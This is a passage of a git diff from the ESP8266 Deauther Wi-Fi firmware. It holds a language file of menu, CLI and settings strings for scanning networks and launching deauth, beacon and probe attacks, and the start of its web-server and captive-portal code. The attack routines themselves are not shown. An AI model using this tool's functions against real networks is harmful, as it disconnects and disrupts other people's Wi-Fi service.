" -s +o:`` `-++::/+- `o/ o: \r\n"
|
||||
" y. :o `:::.` `oo` -s \r\n"
|
||||
" -s h` .++:---/+/+/:::++. `h \r\n"
|
||||
" +/ h :o` ` `/s ` .s- d \r\n"
|
||||
" o: .s h` /h- o:/h- -s `h \r\n"
|
||||
" +/ +/ h` `` s- ` +/ -s \r\n"
|
||||
" .y `h` -s- `+y-.`.:+/ +: \r\n"
|
||||
" o: o: `/+/:/+ss:.-:y/.` `h` \r\n"
|
||||
" .:-` `y- ++ `so::-://+y. +/ \r\n"
|
||||
" :o.-/+: :+//:` `s: `+/ -h//:::---:/o- -y \r\n"
|
||||
" :o `:o:h. `-+/` -d+.:o- .y.``...-/y/++` `y. \r\n"
|
||||
" +/ `:hs -o- o/:/yo:-` +y++s//+/. `s. \r\n"
|
||||
" /o` `oo` `/+` .-:y/-`+:+so+/:-` s- y: -s. \r\n"
|
||||
" ++//+y: -+ .o: ``-:/+:-.`.:+/:hs+`++:/o/:.` `h .y` /o` \r\n"
|
||||
"`h` `./ys- :o- .--:////:-.` `-/o/::.`/sh-:os/:.` .y oo`+/ -o: \r\n"
|
||||
" :o- `-o+. `/+o/:-..` `.:+++o/``/:-oo++/:.so+://` `:+/` \r\n"
|
||||
" `/+:` .. `++` `.-/+/:-/sy.`+o:+y/-. .-/+-` \r\n"
|
||||
" `-+/- .- `.:/o+:-:.```-:oy/:://:-` \r\n"
|
||||
" .:+/. `.-:/+/::s/-..` \r\n"
|
||||
" .++. `.-h. \r\n"
|
||||
" .o/ +/ \r\n"
|
||||
" :o. :o \r\n"
|
||||
" .o: -s \r\n"
|
||||
" /o` :+ \r\n"
|
||||
" -o- o: \r\n"
|
||||
" `o/ h` \r\n"
|
||||
" :o. -s \r\n"
|
||||
" .o: y. \r\n"
|
||||
" /o. /+ \r\n"
|
||||
" .+/` -s \r\n"
|
||||
" -+/. .s` \r\n"
|
||||
" ./+/.` -s` \r\n"
|
||||
" .:/+:.` /o` \r\n"
|
||||
" .:/o/.` .o: \r\n"
|
||||
" o/:/+/.` .++` \r\n"
|
||||
" -s `:/+:` `:+/` \r\n"
|
||||
" ++` -+o-` `-++- \r\n"
|
||||
" :s/::/+//::+/---/+/:` \r\n"
|
||||
" +/s:` `-h-s- \r\n"
|
||||
" +/s- `y y. \r\n"
|
||||
" +/y. `y h` \r\n"
|
||||
" //s:` `y d \r\n"
|
||||
" +/-:/++/-` `y h-` \r\n"
|
||||
" y:hs-ysosss..y --/+++/-` \r\n"
|
||||
" ds:`s:o+`-:`o:oos./h++osoo` \r\n"
|
||||
" :: o+++ h:y `o+.s:`.:: \r\n"
|
||||
" -+- -/` :s.++ \r\n"
|
||||
" `/+- ";
|
||||
const char CLI_SYSTEM_INFO[] PROGMEM = "[======== SYSTEM INFO ========]";
|
||||
const char CLI_SYSTEM_OUTPUT[] PROGMEM = "RAM usage: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n";
|
||||
const char CLI_SYSTEM_AP_MAC[] PROGMEM = "AP MAC address: ";
|
||||
const char CLI_SYSTEM_ST_MAC[] PROGMEM = "Station MAC address: ";
|
||||
const char CLI_SYSTEM_RAM_OUT[] PROGMEM = "SPIFFS: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n";
|
||||
const char CLI_SYSTEM_SPIFFS_OUT[] PROGMEM = " block size %u bytes, page size %u bytes\r\n";
|
||||
const char CLI_FILES[] PROGMEM = "Files: ";
|
||||
const char CLI_BYTES[] PROGMEM = " bytes";
|
||||
const char CLI_SYSTEM_FOOTER[] PROGMEM = "===============================";
|
||||
const char CLI_FORMATTING_SPIFFS[] PROGMEM = "Formatting SPIFFS...";
|
||||
const char CLI_REMOVED[] PROGMEM = "Removed ";
|
||||
const char CLI_ERROR_REMOVING[] PROGMEM = "ERROR: removing ";
|
||||
const char CLI_REMOVING_LINES[] PROGMEM = "Removed lines ";
|
||||
const char CLI_COPIED_FILES[] PROGMEM = "Copied file";
|
||||
const char CLI_ERROR_COPYING[] PROGMEM = "ERROR: Copying file";
|
||||
const char CLI_RENAMED_FILE[] PROGMEM = "Renamed file";
|
||||
const char CLI_ERROR_RENAMING_FILE[] PROGMEM = "ERROR: Renaming file";
|
||||
const char CLI_WRITTEN[] PROGMEM = "Written \"";
|
||||
const char CLI_TO[] PROGMEM = "\" to ";
|
||||
const char CLI_REPLACED_LINE[] PROGMEM = "Replaced line ";
|
||||
const char CLI_WITH[] PROGMEM = " with ";
|
||||
const char CLI_ERROR_REPLACING_LINE[] PROGMEM = "ERROR: replacing line in ";
|
||||
const char CLI_INFO_HEADER[] PROGMEM = "====================================================================================";
|
||||
const char CLI_INFO_SOFTWARE[] PROGMEM = "ESP8266 Deauther ";
|
||||
const char CLI_INFO_COPYRIGHT[] PROGMEM = "2018 (c) Stefan Kremser";
|
||||
const char CLI_INFO_LICENSE[] PROGMEM = "This software is licensed under the MIT License.";
|
||||
const char CLI_INFO_ADDON[] PROGMEM = "For more information please visit github.com/spacehuhn/esp8266_deauther";
|
||||
const char CLI_DEAUTHING[] PROGMEM = "Deauthing ";
|
||||
const char CLI_ARROW[] PROGMEM = " -> ";
|
||||
const char CLI_SENDING_BEACON[] PROGMEM = "Sending Beacon \"";
|
||||
const char CLI_SENDING_PROBE[] PROGMEM = "Sending Probe \"";
|
||||
const char CLI_CUSTOM_SENT[] PROGMEM = "Sent out custom packet";
|
||||
const char CLI_CUSTOM_FAILED[] PROGMEM = "Sending custom packet failed";
|
||||
const char CLI_DRAW_OUTPUT[] PROGMEM = "%+4u";
|
||||
const char CLI_ERROR_NOT_FOUND_A[] PROGMEM = "ERROR: command \"";
|
||||
const char CLI_ERROR_NOT_FOUND_B[] PROGMEM = "\" not found :(";
|
||||
const char CLI_SYSTEM_CHANNEL[] PROGMEM = "Current WiFi channel: ";
|
||||
const char CLI_CHANGED_SCREEN[] PROGMEM = "Changed screen mode";
|
||||
const char CLI_DEFAULT_AUTOSTART[] PROGMEM = "scan -t 5s\nsysinfo\n";
|
||||
const char CLI_RESUMED[] PROGMEM = "Command Line resumed";
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
|
||||
// DEBUG MESSAGES
|
||||
const char D_ERROR_NOT_ENABLED[] PROGMEM = "ERROR: Display not enabled";
|
||||
const char D_MSG_DISPLAY_OFF[] PROGMEM = "Turned display off";
|
||||
const char D_MSG_DISPLAY_ON[] PROGMEM = "Turned display on";
|
||||
|
||||
// LOADING SCREEN
|
||||
const char DSP_SCAN_FOR[] PROGMEM = "Scan for";
|
||||
const char DSP_APS[] PROGMEM = "APs";
|
||||
const char DSP_STS[] PROGMEM = "STs";
|
||||
const char DSP_PKTS[] PROGMEM = "Pkts";
|
||||
const char DSP_S[] PROGMEM = "/s";
|
||||
const char DSP_SCAN_DONE[] PROGMEM = "Done";
|
||||
|
||||
// ALL MENUS
|
||||
const char D_BACK[] PROGMEM = "[BACK]";
|
||||
const char D_REMOVE_ALL[] PROGMEM = "REMOVE ALL";
|
||||
const char D_SELECT[] PROGMEM = "SELECT";
|
||||
const char D_DESELECT[] PROGMEM = "DESELECT";
|
||||
const char D_REMOVE[] PROGMEM = "REMOVE";
|
||||
const char D_SELECT_ALL[] PROGMEM = "SELECT ALL";
|
||||
const char D_DESELECT_ALL[] PROGMEM = "DESELECT ALL";
|
||||
const char D_CLONE[] PROGMEM = "CLONE SSID";
|
||||
const char D_LED[] PROGMEM = "LED";
|
||||
|
||||
// BUTTON TEST
|
||||
const char D_UP[] PROGMEM = "UP:";
|
||||
const char D_DOWN[] PROGMEM = "DOWN:";
|
||||
const char D_LEFT[] PROGMEM = "LEFT:";
|
||||
const char D_RIGHT[] PROGMEM = "RIGHT:";
|
||||
const char D_B[] PROGMEM = "A:";
|
||||
const char D_A[] PROGMEM = "B:";
|
||||
|
||||
// MAIN MENU
|
||||
const char D_SCAN[] PROGMEM = "SCAN";
|
||||
const char D_SHOW[] PROGMEM = "SELECT";
|
||||
const char D_ATTACK[] PROGMEM = "ATTACK";
|
||||
const char D_PACKET_MONITOR[] PROGMEM = "PACKET MONITOR";
|
||||
const char D_CLOCK[] PROGMEM = "CLOCK";
|
||||
|
||||
// SCAN MENU
|
||||
const char D_SCAN_APST[] PROGMEM = "SCAN AP + ST";
|
||||
const char D_SCAN_AP[] PROGMEM = "SCAN APs";
|
||||
const char D_SCAN_ST[] PROGMEM = "SCAN Stations";
|
||||
|
||||
// SHOW MENU
|
||||
const char D_ACCESSPOINTS[] PROGMEM = "APs ";
|
||||
const char D_STATIONS[] PROGMEM = "Stations ";
|
||||
const char D_NAMES[] PROGMEM = "Names ";
|
||||
const char D_SSIDS[] PROGMEM = "SSIDs ";
|
||||
|
||||
// SSID LIST MENU
|
||||
const char D_CLONE_APS[] PROGMEM = "CLONE APs";
|
||||
const char D_RANDOM_MODE[] PROGMEM = "RANDOM MODE";
|
||||
|
||||
// ATTACK MENU
|
||||
const char D_DEAUTH[] PROGMEM = "DEAUTH";
|
||||
const char D_BEACON[] PROGMEM = "BEACON";
|
||||
const char D_PROBE[] PROGMEM = "PROBE";
|
||||
const char D_START_ATTACK[] PROGMEM = "START";
|
||||
const char D_STOP_ATTACK[] PROGMEM = "STOP";
|
||||
|
||||
// SUB MENUS
|
||||
const char D_ENCRYPTION[] PROGMEM = "Encryption:";
|
||||
const char D_RSSI[] PROGMEM = "RSSI:";
|
||||
const char D_CHANNEL[] PROGMEM = "Channel:";
|
||||
const char D_CH[] PROGMEM = "Ch";
|
||||
const char D_VENDOR[] PROGMEM = "Vendor:";
|
||||
const char D_AP[] PROGMEM = "AP:";
|
||||
const char D_PKTS[] PROGMEM = "pkts";
|
||||
const char D_SEEN[] PROGMEM = "Seen:";
|
||||
|
||||
// ===== STATIONS ===== //
|
||||
const char ST_CLEARED_LIST[] PROGMEM = "Cleared station list";
|
||||
const char ST_REMOVED_STATION[] PROGMEM = "Removed station ";
|
||||
const char ST_LIST_EMPTY[] PROGMEM = "Station list is empty :(";
|
||||
const char ST_HEADER[] PROGMEM = "[===== Stations =====]";
|
||||
const char ST_NO_DEVICES_SELECTED[] PROGMEM = "No devices selected";
|
||||
const char ST_TABLE_HEADER[] PROGMEM = "ID MAC Ch Name Vendor Pkts AP Last Seen Selected";
|
||||
const char ST_TABLE_DIVIDER[] PROGMEM = "==============================================================================================================";
|
||||
const char ST_SMALLER_ONESEC[] PROGMEM = "<1sec";
|
||||
const char ST_SMALLER_ONEMIN[] PROGMEM = "<1min";
|
||||
const char ST_BIGER_ONEHOUR[] PROGMEM = ">1h";
|
||||
const char ST_SELECTED_STATION[] PROGMEM = "Selected station ";
|
||||
const char ST_DESELECTED_STATION[] PROGMEM = "Deselected station ";
|
||||
const char ST_ERROR_ID[] PROGMEM = "ERROR: No station found with ID ";
|
||||
const char ST_SELECTED_ALL[] PROGMEM = "Selected all stations";
|
||||
const char ST_DESELECTED_ALL[] PROGMEM = "Deselected all stations";
|
||||
|
||||
// ===== SETTINGS ===== //
|
||||
const char S_SETTINGS[] PROGMEM = "settings";
|
||||
const char S_BEACONCHANNEL[] PROGMEM = "beaconchannel";
|
||||
const char S_FORCEPACKETS[] PROGMEM = "forcepackets";
|
||||
const char S_AUTOSAVE[] PROGMEM = "autosave";
|
||||
const char S_LANG[] PROGMEM = "lang";
|
||||
const char S_SERIALINTERFACE[] PROGMEM = "serial";
|
||||
const char S_DISPLAYINTERFACE[] PROGMEM = "display";
|
||||
const char S_WEBINTERFACE[] PROGMEM = "web/interface";
|
||||
const char S_AUTOSAVETIME[] PROGMEM = "autosavetime";
|
||||
const char S_DEAUTHSPERTARGET[] PROGMEM = "deauthspertarget";
|
||||
const char S_CHTIME[] PROGMEM = "chtime";
|
||||
const char S_DEAUTHREASON[] PROGMEM = "deauthReason";
|
||||
const char S_MACST[] PROGMEM = "macSt";
|
||||
const char S_MACAP[] PROGMEM = "macAP";
|
||||
const char S_RANDOMTX[] PROGMEM = "randomTX";
|
||||
const char S_ATTACKTIMEOUT[] PROGMEM = "attacktimeout";
|
||||
const char S_LEDENABLED[] PROGMEM = "led/Enabled";
|
||||
const char S_PROBESPERSSID[] PROGMEM = "probesPerSSID";
|
||||
const char S_BEACONINTERVAL[] PROGMEM = "beaconInterval";
|
||||
const char S_VERSION[] PROGMEM = "version";
|
||||
const char S_CHANNEL[] PROGMEM = "channel";
|
||||
const char S_CAPTIVEPORTAL[] PROGMEM = "captivePortal";
|
||||
const char S_HIDDEN[] PROGMEM = "hidden";
|
||||
const char S_PASSWORD[] PROGMEM = "password";
|
||||
const char S_SSID[] PROGMEM = "ssid";
|
||||
const char S_MAC[] PROGMEM = "mac";
|
||||
const char S_MIN_DEAUTHS[] PROGMEM = "minDeauths";
|
||||
const char S_DISPLAY_TIMEOUT[] PROGMEM = "displayTimeout";
|
||||
const char S_SERIAL_ECHO[] PROGMEM = "serialEcho";
|
||||
const char S_WEB_SPIFFS[] PROGMEM = "webSpiffs";
|
||||
|
||||
const char S_SETTINGS_LOADED[] PROGMEM = "Settings loaded from ";
|
||||
const char S_SETTINGS_RESETED[] PROGMEM = "Settings reseted";
|
||||
const char S_SETTINGS_SAVED[] PROGMEM = "Settings saved in ";
|
||||
const char S_SETTINGS_HEADER[] PROGMEM = "[========== Settings ==========]";
|
||||
const char S_ERROR_VERSION[] PROGMEM = "Sorry, you can't change the version number";
|
||||
const char S_ERROR_NOT_FOUND[] PROGMEM = "ERROR: No setting found for ";
|
||||
const char S_CHANGED_SETTING[] PROGMEM = "Changed setting ";
|
||||
const char S_CHANNEL_CHANGE[] PROGMEM = "Switched to Channel ";
|
||||
const char S_CHANNEL_ERROR[] PROGMEM = "ERROR: Channel must be between 1 and 14";
|
||||
const char S_ERROR_SSID_LEN[] PROGMEM = "ERROR: SSID must be between 1 and 32 characters";
|
||||
const char S_ERROR_PASSWORD_LEN[] PROGMEM = "ERROR: Password must be between 8 and 32 characters";
|
||||
const char S_RANDOM[] PROGMEM = "random";
|
||||
|
||||
// ===== ACCESS POINTS ===== //
|
||||
const char AP_HEADER[] PROGMEM = "[===== Access Points =====]";
|
||||
const char AP_LIST_EMPTY[] PROGMEM = "AP list is empty :(";
|
||||
const char AP_NO_AP_SELECTED[] PROGMEM = "No APs selected";
|
||||
const char AP_TABLE_HEADER[] PROGMEM = "ID SSID Name Ch RSSI Enc. Mac Vendor Selected";
|
||||
const char AP_TABLE_DIVIDER[] PROGMEM = "=====================================================================================================";
|
||||
const char AP_HIDDEN[] PROGMEM = "*HIDDEN*";
|
||||
const char AP_WEP[] PROGMEM = "WEP";
|
||||
const char AP_WPA[] PROGMEM = "WPA";
|
||||
const char AP_WPA2[] PROGMEM = "WPA2";
|
||||
const char AP_AUTO[] PROGMEM = "WPA*";
|
||||
const char AP_SELECTED[] PROGMEM = "Selected access point ";
|
||||
const char AP_DESELECTED[] PROGMEM = "Deselected access point ";
|
||||
const char AP_REMOVED[] PROGMEM = "Removed access point ";
|
||||
const char AP_SELECTED_ALL[] PROGMEM = "Selected all APs";
|
||||
const char AP_DESELECTED_ALL[] PROGMEM = "Deselected all APs";
|
||||
const char AP_REMOVED_ALL[] PROGMEM = "Removed all APs";
|
||||
const char AP_NO_AP_ERROR[] PROGMEM = "ERROR: No AP found with ID ";
|
||||
|
||||
// ===== ATTACKS ===== //
|
||||
const char A_START[] PROGMEM = "Start attacking";
|
||||
const char A_NO_MODE_ERROR[] PROGMEM = "WARNING: No valid attack mode set";
|
||||
const char A_STOP[] PROGMEM = "Stopped attacking";
|
||||
const char A_TIMEOUT[] PROGMEM = "Timeout - ";
|
||||
const char A_STATUS[] PROGMEM = "[Pkt/s] All: %+4u | Deauths: %+3u/%-3u | Beacons: %+3u/%-3u | Probes: %+3u/%-3u\r\n";
|
||||
const char A_ENABLED_OUTPUT[] PROGMEM = "Enabled attack output";
|
||||
const char A_DISABLED_OUTPUT[] PROGMEM = "Disabled attack output";
|
||||
|
||||
// ===== LED ===== //
|
||||
const char L_ENABLED[] PROGMEM = "Enabled LED updates";
|
||||
const char L_DISABLED[] PROGMEM = "Disabled LED updates";
|
||||
const char L_OUTPUT[] PROGMEM = "LED = (%u,%u,%u)";
|
||||
const char L_NOT_CONFIGURED[] PROGMEM = "ERROR: No LED is configured in A_config.h!";
|
||||
|
||||
// ===== NAMES ===== //
|
||||
const char N_SAVED[] PROGMEM = "Device names saved in ";
|
||||
const char N_LOADED[] PROGMEM = "Device names loaded from ";
|
||||
const char N_REMOVED_ALL[] PROGMEM = "Removed all saved device names";
|
||||
const char N_HEADER[] PROGMEM = "[===== Saved Devices =====]";
|
||||
const char N_TABLE_HEADER[] PROGMEM = "ID MAC Vendor Name AP-BSSID Ch Selected";
|
||||
const char N_TABLE_DIVIDER[] PROGMEM = "============================================================================";
|
||||
const char N_ERROR_LIST_EMPTY[] PROGMEM = "Device name list is empty :(";
|
||||
const char N_ERROR_NO_SELECTED[] PROGMEM = "No devices selected";
|
||||
const char N_ERROR_LIST_FULL[] PROGMEM = "ERROR: Name list is full!";
|
||||
const char N_ADDED[] PROGMEM = "Added to device name list ";
|
||||
const char N_REPLACED[] PROGMEM = "Replaced device name list ";
|
||||
const char N_REMOVED[] PROGMEM = "Removed from the device name list ";
|
||||
const char N_CHANGED_NAME[] PROGMEM = "Changed device name";
|
||||
const char N_CHANGED_MAC[] PROGMEM = "Changed device mac";
|
||||
const char N_CHANGED_BSSID[] PROGMEM = "Changed device AP-BSSID";
|
||||
const char N_CHANGED_CH[] PROGMEM = "Changed device channel";
|
||||
const char N_SELECTED[] PROGMEM = "Selected device ";
|
||||
const char N_ERROR_NOT_FOUND[] PROGMEM = "No device found with name ";
|
||||
const char N_DESELECTED[] PROGMEM = "Deselected device ";
|
||||
const char N_SELECTED_ALL[] PROGMEM = "Selected all device names";
|
||||
const char N_DESELECTED_ALL[] PROGMEM = "Deselected all device names";
|
||||
|
||||
// ===== SSIDs ===== //
|
||||
const char SS_LOADED[] PROGMEM = "SSIDs loaded from ";
|
||||
const char SS_CLEARED[] PROGMEM = "Cleared SSID list";
|
||||
const char SS_SAVED[] PROGMEM = "SSIDs saved";
|
||||
const char SS_SAVED_IN[] PROGMEM = "SSIDs saved in ";
|
||||
const char SS_REMOVED[] PROGMEM = "Removed SSID ";
|
||||
const char SS_ERROR_FULL[] PROGMEM =
|
||||
"ERROR: SSID list is full! Remove some SSIDs first or run command with -f (force) parameter.";
|
||||
const char SS_ADDED[] PROGMEM = "Added SSID ";
|
||||
const char SS_REPLACED[] PROGMEM = "Replaced SSID ";
|
||||
const char SS_TABLE_HEADER[] PROGMEM = "ID Enc. SSID";
|
||||
const char SS_TABLE_DIVIDER[] PROGMEM = "=========================================";
|
||||
const char SS_HEADER[] PROGMEM = "[===== SSIDs =====]";
|
||||
const char SS_ERROR_EMPTY[] PROGMEM = "SSID list is empty :(";
|
||||
const char SS_RANDOM_ENABLED[] PROGMEM = "SSID random mode enabled";
|
||||
const char SS_RANDOM_DISABLED[] PROGMEM = "SSID random mode deactivated";
|
||||
const char SS_JSON_SSIDS[] PROGMEM = "ssids";
|
||||
const char SS_JSON_RANDOM[] PROGMEM = "random";
|
||||
const char SS_JSON_DEFAULT[] PROGMEM = "{\"random\":false,\"ssids\":[[\"Never gonna give you up\",false,23],[\"Never gonna let you down\",false,24],[\"Never gonna run around\",false,22],[\"Never gonna make you cry\",false,24],[\"Never gonna say goodbye\",false,23],[\"Never gonna tell a lie\",false,22],[\"Never gonna hurt you\",false,20],[\"Never gonna desert you\",false,22]]}";
|
||||
const char SS_RANDOM_INFO[] PROGMEM = "Generating new SSIDs... Type \"disable random\" to stop the random mode";
|
||||
|
||||
// ===== SCAN ==== //
|
||||
const char SC_START_CLIENT[] PROGMEM = "Starting Scan for stations (client devices) - ";
|
||||
const char SS_START_SNIFFER[] PROGMEM = "Starting packet sniffer - ";
|
||||
const char SC_ERROR_NO_AP[] PROGMEM =
|
||||
"ERROR: AP-list empty! Can't scan for clients, please Scan for Accesspoints first.";
|
||||
const char SC_INFINITELY[] PROGMEM = " infinitely";
|
||||
const char SC_ON_CHANNEL[] PROGMEM = " on channel ";
|
||||
const char SC_START_AP[] PROGMEM = "Starting scan for access points (Wi-Fi networks)...";
|
||||
const char SC_ONE_TO[] PROGMEM = "1 - ";
|
||||
const char SC_STOPPED[] PROGMEM = "Stopped scan";
|
||||
const char SC_RESTRAT[] PROGMEM = "Scan will restart in ";
|
||||
const char SC_CONTINUE[] PROGMEM = "s - type stop to disable the continuous mode";
|
||||
const char SC_RESTART[] PROGMEM = "restarting in ";
|
||||
const char SC_ERROR_MODE[] PROGMEM = "ERROR: Invalid scan mode ";
|
||||
const char SC_OUTPUT_A[] PROGMEM = "Scanning WiFi [%+2u%%]: %+3u packets/s | %+2u devices | %+2u deauths\r\n";
|
||||
const char SC_OUTPUT_B[] PROGMEM = "Scanning WiFi: %+3u packets/s | %+2u devices | %+2u deauths\r\n";
|
||||
const char SC_JSON_APS[] PROGMEM = "aps";
|
||||
const char SC_JSON_STATIONS[] PROGMEM = "stations";
|
||||
const char SC_JSON_NAMES[] PROGMEM = "names";
|
||||
const char SC_SAVED[] PROGMEM = "Saved scan results";
|
||||
const char SC_SAVED_IN[] PROGMEM = "Scan results saved in ";
|
||||
const char SC_MODE_OFF[] PROGMEM = "-";
|
||||
const char SC_MODE_AP[] PROGMEM = "APs";
|
||||
const char SC_MODE_ST[] PROGMEM = "STs";
|
||||
const char SC_MODE_ALL[] PROGMEM = "AP+ST";
|
||||
const char SC_MODE_SNIFFER[] PROGMEM = "Sniffer";
|
||||
|
||||
// ===== FUNCTIONS ===== //
|
||||
const char F_ERROR_MAC[] PROGMEM = "ERROR: MAC address invalid";
|
||||
const char F_COLOR_INVALID[] PROGMEM = "ERROR: Color code invalid";
|
||||
const char F_ERROR_READING_FILE[] PROGMEM = "ERROR: reading file ";
|
||||
const char F_LINE[] PROGMEM = "[%d] ";
|
||||
const char F_ERROR_FILE[] PROGMEM = "ERROR: File doesn't exist ";
|
||||
const char F_ERROR_OPEN[] PROGMEM = "ERROR couldn't open ";
|
||||
const char F_ERROR_PARSING_JSON[] PROGMEM = "ERROR parsing JSON ";
|
||||
const char F_ERROR_TO_BIG[] PROGMEM = "ERROR file too big ";
|
||||
const char F_TMP[] PROGMEM = "/tmp";
|
||||
const char F_COPY[] PROGMEM = "_copy";
|
||||
const char F_ERROR_SAVING[] PROGMEM = "ERROR: saving file. Try 'format' and restart - ";
|
||||
|
||||
// ===== WIFI ===== //
|
||||
const char W_STOPPED_AP[] PROGMEM = "Stopped Access Point";
|
||||
const char W_AP_REQUEST[] PROGMEM = "[AP] request: ";
|
||||
const char W_AP[] PROGMEM = "AP";
|
||||
const char W_STATION[] PROGMEM = "Station";
|
||||
const char W_MODE_OFF[] PROGMEM = "OFF";
|
||||
const char W_MODE_AP[] PROGMEM = "AP";
|
||||
const char W_MODE_ST[] PROGMEM = "STATION";
|
||||
const char W_OK[] PROGMEM = " OK";
|
||||
const char W_NOT_FOUND[] PROGMEM = " NOT FOUND";
|
||||
const char W_BAD_ARGS[] PROGMEM = "BAD ARGS";
|
||||
const char W_BAD_PATH[] PROGMEM = "BAD PATH";
|
||||
const char W_FILE_NOT_FOUND[] PROGMEM = "ERROR 404 File Not Found";
|
||||
const char W_STARTED_AP[] PROGMEM = "Started AP";
|
||||
|
||||
#endif // ifndef language_h
|
||||
39802
enp8266/esp8266_deauther-master/esp8266_deauther/oui.h
Executable file
39802
enp8266/esp8266_deauther-master/esp8266_deauther/oui.h
Executable file
File diff suppressed because it is too large
Load Diff
65
enp8266/esp8266_deauther-master/esp8266_deauther/webfiles.h
Executable file
65
enp8266/esp8266_deauther-master/esp8266_deauther/webfiles.h
Executable file
File diff suppressed because one or more lines are too long
410
enp8266/esp8266_deauther-master/esp8266_deauther/wifi.h
Executable file
410
enp8266/esp8266_deauther-master/esp8266_deauther/wifi.h
Executable file
@@ -0,0 +1,410 @@
|
||||
#ifndef WifiManager_h
|
||||
#define WifiManager_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <WiFiClient.h>
|
||||
#include <ESP8266WebServer.h>
|
||||
#include <DNSServer.h>
|
||||
#include <ESP8266mDNS.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#define WIFI_MODE_OFF 0
|
||||
#define WIFI_MODE_AP 1
|
||||
#define WIFI_MODE_STATION 2
|
||||
|
||||
/*
|
||||
This file contains all necessary functions for hosting and connecting to an access point.
|
||||
For compatibility and simplicity, all those functions are global.
|
||||
*/
|
||||
|
||||
// Important strings
|
||||
const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1)
|
||||
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
|
||||
const char W_ERROR_PASSWORD[] PROGMEM = "ERROR: Password must have at least 8 characters!";
|
||||
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
|
||||
|
||||
const char W_HTML[] PROGMEM = "text/html";
|
||||
const char W_CSS[] PROGMEM = "text/css";
|
||||
const char W_JS[] PROGMEM = "application/javascript";
|
||||
const char W_PNG[] PROGMEM = "image/png";
|
||||
const char W_GIF[] PROGMEM = "image/gif";
|
||||
const char W_JPG[] PROGMEM = "image/jpeg";
|
||||
const char W_ICON[] PROGMEM = "image/x-icon";
|
||||
const char W_XML[] PROGMEM = "text/xml";
|
||||
const char W_XPDF[] PROGMEM = "application/x-pdf";
|
||||
const char W_XZIP[] PROGMEM = "application/x-zip";
|
||||
const char W_GZIP[] PROGMEM = "application/x-gzip";
|
||||
const char W_JSON[] PROGMEM = "application/json";
|
||||
const char W_TXT[] PROGMEM = "text/plain";
|
||||
|
||||
const char W_DOT_HTM[] PROGMEM = ".htm";
|
||||
const char W_DOT_HTML[] PROGMEM = ".html";
|
||||
const char W_DOT_CSS[] PROGMEM = ".css";
|
||||
const char W_DOT_JS[] PROGMEM = ".js";
|
||||
const char W_DOT_PNG[] PROGMEM = ".png";
|
||||
const char W_DOT_GIF[] PROGMEM = ".gif";
|
||||
const char W_DOT_JPG[] PROGMEM = ".jpg";
|
||||
const char W_DOT_ICON[] PROGMEM = ".ico";
|
||||
const char W_DOT_XML[] PROGMEM = ".xml";
|
||||
const char W_DOT_PDF[] PROGMEM = ".pdf";
|
||||
const char W_DOT_ZIP[] PROGMEM = ".zip";
|
||||
const char W_DOT_GZIP[] PROGMEM = ".gz";
|
||||
const char W_DOT_JSON[] PROGMEM = ".json";
|
||||
|
||||
// Server and other global objects
|
||||
ESP8266WebServer server(80);
|
||||
DNSServer dnsServer;
|
||||
IPAddress apIP(192, 168, 4, 1);
|
||||
IPAddress netMsk(255, 255, 255, 0);
|
||||
File fsUploadFile;
|
||||
|
||||
// current WiFi mode and config
|
||||
uint8_t wifiMode = WIFI_MODE_OFF;
|
||||
|
||||
bool wifi_config_hidden = false;
|
||||
bool wifi_config_captivePortal = false;
|
||||
String wifi_config_ssid;
|
||||
String wifi_config_password;
|
||||
String wifi_config_path;
|
||||
|
||||
void stopAP() {
|
||||
if (wifiMode == WIFI_MODE_AP) {
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.persistent(false);
|
||||
WiFi.disconnect(true);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
prntln(W_STOPPED_AP);
|
||||
wifiMode = WIFI_MODE_STATION;
|
||||
}
|
||||
}
|
||||
|
||||
void wifiUpdate() {
|
||||
if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) {
|
||||
server.handleClient();
|
||||
dnsServer.processNextRequest();
|
||||
}
|
||||
}
|
||||
|
||||
String getWifiMode() {
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
return W_MODE_OFF;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
return W_MODE_AP;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
return W_MODE_ST;
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
String getContentType(String filename) {
|
||||
if (server.hasArg("download")) return String(F("application/octet-stream"));
|
||||
else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);
|
||||
else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
||||
else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
||||
else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
||||
else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
||||
else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
||||
else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
||||
else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
||||
else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
||||
else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
||||
else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
||||
else return str(W_TXT);
|
||||
}
|
||||
|
||||
bool handleFileRead(String path) {
|
||||
//prnt(W_AP_REQUEST);
|
||||
//prnt(path);
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
||||
|
||||
String contentType = getContentType(path);
|
||||
|
||||
